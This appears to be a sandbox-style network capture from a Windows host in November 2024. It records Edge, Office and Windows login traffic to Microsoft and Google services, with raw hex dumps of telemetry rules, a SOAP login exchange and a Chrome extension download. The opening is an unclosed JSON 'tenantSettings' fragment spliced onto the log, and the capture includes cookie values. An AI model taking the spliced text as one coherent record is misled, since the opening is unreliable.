{"tenantSettings":{"friendlyName":"","tenantObjectId":"","tenantId":"","tenantDisplayName":"","iconLarge":"","iconLargeChecksum":"","theme":"","adminEmail":"","iconLargeIsDefault":false,"tenantGroup":"","status":"Complete","variants":[],"exploreQueries":[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49766	13.107.9.158	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:39 UTC	418	OUT	GET /api/v1/user/token/microsoftgraph?&clienttype=edge-omnibox HTTP/1.1 Host: business.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:40 UTC	801	IN	HTTP/1.1 401 Unauthorized Cache-Control: max-age=0, no-cache, no-store, must-revalidate WWW-Authenticate: Bearer WWW-Authenticate: Bearer WWW-Authenticate: Bearer error="invalid_token" WWW-Authenticate: Bearer error="invalid_token" Strict-Transport-Security: max-age=31536000; includeSubDomains X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: B15D0EBCDE6A4C319E6CD3FDA71043EA Ref B: BL2AA2030104029 Ref C: 2024-11-27T15:34:39Z Set-Cookie: MUIDB=12084EEB05696991245A5BAF0468680E; path=/; httponly; expires=Mon, 22-Dec-2025 15:34:40 GMT Date: Wed, 27 Nov 2024 15:34:39 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49767	94.245.104.56	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:40 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:40 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Wed, 27 Nov 2024 15:34:40 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=08d2043fe0eddf6a1a4774ef0097be85709acca5523117bc62455fbc08a48784;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153440Z-174f7845968xlwnmhC1EWR0sv80000000x1g000000002zth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:41 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153441Z-174f7845968zgtf6hC1EWRqd8s0000000q0g00000000nab7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:40 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:41 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1fa1b817-401e-0067-5691-3f09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153441Z-174f7845968g6hv8hC1EWR1v2n00000004zg00000000my4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:41 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:41 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:41 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 6760f0bc-801e-002a-1f91-3f31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153441Z-174f7845968swgbqhC1EWRmnb40000000x9g00000000b387 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:41 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:41 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 15:34:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 15:34:41 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: f869b653-801e-008c-3284-407130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T153441Z-174f78459685726chC1EWRsnbg0000000x5000000000fggp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 15:34:41 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49774	20.190.177.82	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-27 15:34:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-27 15:34:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 27 Nov 2024 15:33:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: df09cad5-6075-4b09-9f4d-db140751e184 PPServer: PPV: 30 H: PH1PEPF0001B8EA V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 27 Nov 2024 15:34:42 GMT Connection: close Content-Length: 1276
2024-11-27 15:34:42 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49787	142.250.203.225	443	3632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 15:34:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 15:34:43 UTC	566	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC5c0Njiyyy4p_lpgySiKgGdFfvA8KzTV8VXC6XN6tvmgjlxZ52xFm5Fw5iJFtV7bmr88Yg X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 26 Nov 2024 16:45:00 GMT Expires: Wed, 26 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 82183 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-27 15:34:43 UTC	824	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c 7c a7 3d 83 9c c3 33 Data Ascii: :__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\\|=3
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc 55 5e 3d b8 46 34 c8 Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FSU^=F4
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 ce c6 ac 26 ca 94 9e Data Ascii: }oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~&
2024-11-27 15:34:43 UTC	1390	IN	Data Raw: ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 af 7f ff d5 d4 85 ac Data Ascii: c$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
